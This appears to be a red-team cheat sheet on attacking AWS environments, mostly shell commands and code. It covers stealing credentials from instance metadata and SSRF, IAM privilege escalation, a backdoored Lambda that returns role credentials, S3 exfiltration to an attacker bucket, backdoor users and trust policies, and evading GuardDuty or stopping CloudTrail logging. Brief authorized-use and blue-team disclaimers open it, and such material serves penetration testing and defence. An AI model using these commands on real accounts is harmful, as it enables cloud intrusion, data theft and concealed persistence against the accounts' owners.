aws-attack-paths
02 — AWS Attack Paths
BLUF: AWS environments are won or lost on IAM. Every crown jewel is behind a permission boundary — find the misconfigured role, the over-privileged service account, or the instance with a powerful Instance Profile, and the environment opens. This guide covers practical AWS attack paths from initial credential access through domain dominance, mapped to real tools and current AWS service behavior.
Sections
- Initial Access — AWS Credential Sources · 2. Enumeration — Know Your Identity · 3. IAM Privilege Escalation Paths · 4. Cross-Account Lateral Movement · 5. EC2 / IMDS Credential Theft · 6. Lambda & Serverless Attacks · 7. S3 Data Access & Exfiltration · 8. Persistence in AWS · 9. AWS OPSEC & Logging Awareness · 10. Quick-Reference Cheat Sheet
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
graph TB
InitAccess([Initial Access\nCredentials / IMDS / Phish]) --> WhoAmI[Identity Enumeration\naws sts get-caller-identity]
WhoAmI --> IAMEnum[IAM Enum\nPolicies + Roles + Groups]
IAMEnum --> PrivEsc[IAM Privilege Escalation]
IAMEnum --> CrossAcct[Cross-Account Trust Abuse]
PrivEsc --> AdminAccess[Admin / Root Equivalent]
AdminAccess --> Persist[Persistence\nNew Key / Role Backdoor]
AdminAccess --> DataAccess[Data Access\nS3 / Secrets Manager / SSM]
AdminAccess --> Pivot[EC2 / Lambda Pivot]
style InitAccess fill:#ff6600
style AdminAccess fill:#cc0000,color:#ffffffMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1552.005 | Cloud Instance Metadata API | Credential Access | IMDS credential theft |
| T1078.004 | Cloud Accounts | Initial Access / Persistence | Compromised cloud credentials |
| T1528 | Steal Application Access Token | Credential Access | OAuth / OIDC token theft |
| T1580 | Cloud Infrastructure Discovery | Discovery | EC2, S3, IAM enumeration |
| T1087.004 | Cloud Account Discovery | Discovery | IAM user/role enumeration |
| T1098.001 | Additional Cloud Credentials | Persistence | New access key creation |
| T1537 | Transfer Data to Cloud Account | Exfiltration | S3 cross-account copy |
| T1619 | Cloud Storage Object Discovery | Discovery | S3 bucket enumeration |
Section 1 — Initial Access: AWS Credential Sources
1.1 Leaked Credentials (Most Common)
# Check: GitHub, GitLab, public S3 buckets, Pastebin, .env files
# Tools: truffleHog, git-secrets, gitleaks
# TruffleHog — scan GitHub repo for AWS key patterns:
trufflehog git https://github.com/target-org/target-repo
# Check common credential locations on a compromised Linux host:
cat ~/.aws/credentials
cat ~/.aws/config
env | grep -i aws
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i aws
# AWS key format (easy to grep for):
# Access Key ID: AKIA[A-Z0-9]{16} (long-term, user-associated)
# Access Key ID: ASIA[A-Z0-9]{16} (temporary STS session — expires)
# Secret: 40 random chars
1.2 IMDS Credential Theft (from EC2 foothold)
# From a compromised EC2 instance:
# IMDSv1 (no auth required — token-less, deprecated but still common):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: <role-name>
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 (requires token — enabled by default on newer instances):
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
1.3 Environment Variables & Secrets Manager
# On compromised Lambda or ECS container — env vars always present:
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
# Application secrets often stored in Secrets Manager or Parameter Store:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/password
aws ssm describe-parameters
aws ssm get-parameter --name /prod/db/password --with-decryption
Section 2 — Enumeration: Know Your Identity First
Never enumerate blindly. First answer: who am I, what can I do?
# Configure stolen credentials:
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..." # If STS temp creds
# Who am I?
aws sts get-caller-identity
# Returns: Account, UserId, ARN — tells you user vs. role vs. service
# What can I do? (enumerate attached policies)
aws iam get-user # If IAM user
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>
aws iam list-groups-for-user --user-name <username>
aws iam list-attached-group-policies --group-name <group>
# For an assumed role:
aws iam list-attached-role-policies --role-name <role-name>
aws iam list-role-policies --role-name <role-name>
aws iam get-role --role-name <role-name>
Automated Enumeration — enumerate-iam
# enumerate-iam: bruteforce all AWS service permissions for current credentials
# github.com/andresriancho/enumerate-iam
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip install -r requirements.txt
python3 enumerate-iam.py \
--access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY \
--session-token $AWS_SESSION_TOKEN \
--region us-east-1
# Output: list of all API calls that succeeded (= permissions you have)
IAM Enumeration — Map the Blast Radius
# List all IAM users:
aws iam list-users --output table
# List all roles (find high-value targets: admin, ec2, lambda roles):
aws iam list-roles | jq '.Roles[] | {RoleName, Arn, MaxSessionDuration}'
# Get inline policy document for a user or role:
aws iam get-user-policy --user-name <user> --policy-name <policy>
aws iam get-role-policy --role-name <role> --policy-name <policy>
# Get managed policy document (version matters):
POLICY_ARN="arn:aws:iam::ACCOUNT:policy/PolicyName"
VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN | jq -r '.Policy.DefaultVersionId')
aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $VERSION \
| jq '.PolicyVersion.Document'
# List all policies attached to everything:
aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d
Section 3 — IAM Privilege Escalation Paths
3.1 CreatePolicy + AttachUserPolicy (Privilege Creation)
# If you have: iam:CreatePolicy + iam:AttachUserPolicy
# → Create a new admin policy and attach it to yourself
# Create an AdministratorAccess-equivalent policy:
aws iam create-policy \
--policy-name TempAdminPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect":"Allow","Action":"*","Resource":"*"}]
}'
# Attach to yourself:
aws iam attach-user-policy \
--user-name <your-username> \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/TempAdminPolicy
# Verify:
aws iam list-attached-user-policies --user-name <your-username>
3.2 PassRole + EC2 CreateInstance (Role Theft via EC2)
# If you have: iam:PassRole + ec2:RunInstances + ec2:DescribeInstances
# → Launch an EC2 instance with a high-privilege instance profile
# → SSH in → steal credentials via IMDS
# Find high-value instance profiles:
aws iam list-instance-profiles | jq '.InstanceProfiles[] | {InstanceProfileName, Roles:.Roles[].RoleName}'
# Launch EC2 with target instance profile:
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminInstanceProfile \
--key-name your-key-pair \
--user-data '#!/bin/bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/role.txt
ROLE=$(cat /tmp/role.txt)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE >> /tmp/creds.json' \
--tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=windows-update}]'
# After launch: SSH to instance and retrieve /tmp/creds.json
# Or use SSM Session Manager if SSM agent is running:
aws ssm start-session --target <instance-id>
3.3 Lambda CreateFunction + PassRole (Serverless PrivEsc)
# If you have: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# → Create a Lambda with admin role attached → invoke to run commands as admin
# Create Lambda with admin execution role:
aws lambda create-function \
--function-name TemporaryAdminFunction \
--runtime python3.11 \
--handler index.handler \
--role arn:aws:iam::ACCOUNT_ID:role/AdminLambdaRole \
--zip-file fileb://lambda.zip
# Lambda code (lambda.zip contains index.py):
cat > index.py << 'EOF'
import boto3, subprocess, json
def handler(event, context):
# Example: create new admin access key for IAM user
iam = boto3.client('iam')
response = iam.create_access_key(UserName=event.get('target_user', 'admin'))
return response['AccessKey']
EOF
zip lambda.zip index.py
# Invoke to create access key:
aws lambda invoke \
--function-name TemporaryAdminFunction \
--payload '{"target_user": "admin-user"}' \
/tmp/lambda_response.json
cat /tmp/lambda_response.json
3.4 AssumeRole — Pivot to Higher-Privilege Role
# If you find a role with sts:AssumeRole allowed for your identity:
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument | .Statement[] | .Principal | .AWS? == "<your_arn>")'
# Assume the role:
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/AdminRole \
--role-session-name RedTeamSession \
--duration-seconds 3600
# Export the returned temp credentials:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Confirm new identity:
aws sts get-caller-identity
3.5 iam:PutUserPolicy — Inline Policy Injection
# If you have iam:PutUserPolicy for yourself:
aws iam put-user-policy \
--user-name <your-username> \
--policy-name PrivEscPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
Automated PrivEsc discovery — PACU:
# PACU: AWS exploitation framework
pip3 install pacu
pacu
# In PACU:
Pacu > import_keys --profile default
Pacu > run iam__privesc_scan # Enumerate all PrivEsc paths for current identity
Pacu > run iam__enum_permissions # Full permission enumeration
Section 4 — Cross-Account Lateral Movement
4.1 Role Trust Relationship Abuse
# Find roles with cross-account trust (Principal != current account):
aws iam list-roles | jq -r '.Roles[] |
select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | strings | test("[0-9]{12}")) |
{RoleName, TrustPrincipal: .AssumeRolePolicyDocument.Statement[].Principal.AWS}'
# If one of the trusted principals is an account/role you control:
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT_ID:role/CrossAccountRole \
--role-session-name pivot-session
4.2 S3 Cross-Account Access
# Find buckets with cross-account access policies:
aws s3api get-bucket-policy --bucket <bucket-name>
# Look for Principal = "*" or Principal = another account ID
# Direct access to cross-account bucket (if policy allows):
aws s3 ls s3://target-bucket --no-sign-request # Public bucket
aws s3 cp s3://target-bucket/sensitive.txt /tmp/ # Download from cross-account
Section 5 — EC2 / IMDS Credential Theft
SSRF to IMDS (Web App Foothold)
# If you have SSRF on an EC2-hosted app:
# IMDSv1 (no token needed):
# In SSRF URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2 (need to first get token via PUT):
# Step 1 (PUT — requires some SSRFs to support arbitrary methods):
# Bypass: some apps allow Host header injection to reach 169.254.169.254
# Extract role name first:
# SSRF: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Then get credentials:
# SSRF: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Keys expire — check Expiration field and act quickly
Section 6 — Lambda & Serverless Attacks
# List all Lambda functions:
aws lambda list-functions | jq '.Functions[] | {FunctionName, Runtime, Role}'
# Get function code (downloads ZIP):
aws lambda get-function --function-name <name> | jq -r '.Code.Location'
curl -o function.zip "<location-url>" # Contains source code
# Get environment variables (may contain secrets, DB passwords, API keys):
aws lambda get-function-configuration --function-name <name> \
| jq '.Environment.Variables'
# Invoke function (test for SSRF, command injection, or logic flaws):
aws lambda invoke \
--function-name <name> \
--payload '{"key": "value"}' \
/tmp/output.json
# Update function code (if you have lambda:UpdateFunctionCode):
# Replace function with malicious code to access its execution role
cat > backdoor.py << 'EOF'
import boto3, json
def handler(event, context):
sts = boto3.client('sts')
identity = sts.get_caller_identity()
creds = boto3.session.Session().get_credentials().get_frozen_credentials()
return {
'identity': identity,
'access_key': creds.access_key,
'secret_key': creds.secret_key,
'token': creds.token
}
EOF
zip backdoor.zip backdoor.py
aws lambda update-function-code \
--function-name <name> \
--zip-file fileb://backdoor.zip
# Invoke backdoored function to steal execution role credentials:
aws lambda invoke --function-name <name> --payload '{}' /tmp/creds.json
cat /tmp/creds.json
Section 7 — S3 Data Access & Exfiltration
# List all buckets (if s3:ListAllMyBuckets):
aws s3 ls
# List bucket contents:
aws s3 ls s3://bucket-name --recursive | head -50
# Find sensitive files (look for: backup, dump, config, creds, key, secret):
aws s3 ls s3://bucket-name --recursive | grep -iE "backup|dump|\.sql|\.env|cred|secret|key|password"
# Download files:
aws s3 cp s3://bucket-name/sensitive-file.sql /tmp/
aws s3 sync s3://bucket-name/data/ /tmp/data/ # Sync entire prefix
# Cross-account exfil (copy to attacker-controlled bucket):
aws s3 cp s3://target-bucket/loot.zip s3://attacker-bucket/loot.zip \
--source-region us-east-1 \
--region us-east-1
# Check bucket policy for public read:
aws s3api get-bucket-acl --bucket <name>
aws s3api get-bucket-policy --bucket <name>
aws s3api get-public-access-block --bucket <name>
Section 8 — Persistence in AWS
Create Backdoor Access Key
# Create new access key for existing admin user (requires iam:CreateAccessKey):
aws iam create-access-key --user-name <admin-user>
# Store the returned AccessKeyId and SecretAccessKey — does not expire unless deleted
Create Backdoor IAM User
# Create a new IAM user (blends in if named plausibly):
aws iam create-user --user-name svc-monitoring-prod
# Attach admin policy:
aws iam attach-user-policy \
--user-name svc-monitoring-prod \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key for the backdoor user:
aws iam create-access-key --user-name svc-monitoring-prod
Backdoor Role Trust Policy
# Add attacker-controlled identity as a trusted principal on an existing role:
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}
]
}'
# After this: attacker can assume AdminRole from their own account anytime
Section 9 — AWS OPSEC & Logging Awareness
What CloudTrail Sees
Every AWS API call is logged in CloudTrail. By default:
- Management events (IAM changes, EC2 start/stop, S3 bucket operations): logged 90 days
- Data events (S3 object reads, Lambda invocations): only logged if explicitly enabled
High-scrutiny API calls (likely to trigger GuardDuty alerts):
| API Call | Why It's Suspicious | GuardDuty Finding |
|---|---|---|
iam:CreateAccessKey | New persistent credential | UnauthorizedAccess:IAMUser/AnomalousBehavior |
iam:AttachUserPolicy with AdministratorAccess | Privilege escalation | Policy:IAMUser/NoMFAAccess |
sts:AssumeRole from unusual IP | Lateral movement | UnauthorizedAccess:IAMUser/ConsoleLoginSuccess |
s3:GetObject on sensitive buckets | Data exfil | Exfiltration:S3/ObjectRead |
ec2:RunInstances | New compute | Backdoor:EC2/C&CActivity |
secretsmanager:GetSecretValue | Credential theft | UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration |
OPSEC Techniques
# 1. Check if GuardDuty is enabled before taking noisy actions:
aws guardduty list-detectors
aws guardduty get-detector --detector-id <id>
# 2. Check if CloudTrail is logging and where logs go:
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail-name>
# 3. Use services/regions where logging may be incomplete:
# Enumerate CloudTrail regions — some trails only cover specific regions:
aws cloudtrail get-trail-status --name <trail-name> --region <region>
# 4. Source IP awareness:
# CloudTrail logs the source IP of every API call
# Use a residential proxy or VPN exit node that doesn't look like a known attacker IP
# Avoid Tor exit nodes — GuardDuty flags them
# 5. Use services less commonly monitored:
# AWS Config (resource config) is not CloudTrail — changes may be less scrutinized
# Systems Manager (SSM) Run Command leaves logs in SSM, not necessarily SIEM-connected
# 6. Delete/disrupt logging (only if explicitly authorized — very noisy):
aws cloudtrail stop-logging --name <trail-name>
aws cloudtrail delete-trail --name <trail-name>
# NOTE: Deleting CloudTrail generates a CloudTrail event first, and GuardDuty alerts on this
Section 10 — Quick-Reference Cheat Sheet
# Identity & Enumeration
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name <user>
aws iam list-roles | jq '.Roles[].RoleName'
aws iam get-policy-version --policy-arn <arn> --version-id v1
# Automated tools
python3 enumerate-iam.py --access-key $KEY --secret-key $SECRET # Enumerate permissions
pacu > run iam__privesc_scan # PrivEsc paths
# IMDS (from EC2 foothold)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# PrivEsc patterns
aws iam put-user-policy --user-name <you> --policy-name Priv --policy-document '...'
aws iam attach-user-policy --user-name <you> --policy-arn arn:...:AdministratorAccess
aws sts assume-role --role-arn arn:...AdminRole --role-session-name r
# Data access
aws s3 ls # List all buckets
aws s3 ls s3://bucket --recursive # List bucket contents
aws secretsmanager list-secrets # List secrets
aws ssm get-parameter --name /prod/db/pass --with-decryption
# Persistence
aws iam create-access-key --user-name <admin>
aws iam create-user --user-name svc-monitor-prod
aws iam attach-user-policy --user-name svc-monitor-prod --policy-arn arn:...:AdministratorAccess
aws iam create-access-key --user-name svc-monitor-prod
# GuardDuty check before noisy actions
aws guardduty list-detectors
aws cloudtrail describe-trails
PACU module quick reference:
| PACU Module | What It Does |
|---|---|
iam__privesc_scan | Finds all PrivEsc paths for current identity |
iam__enum_permissions | Full permission enumeration |
s3__enum | Find all accessible S3 buckets |
ec2__enum | Enumerate all EC2 resources |
lambda__enum | List Lambda functions + env vars |
secretsmanager__enum | Dump all accessible secrets |
guardduty__list_findings | Check GuardDuty for existing alerts |
Part of the Red Teaming 101 series. Parent: P5 — Cloud Attack · See also: Azure Entra ID Attack Paths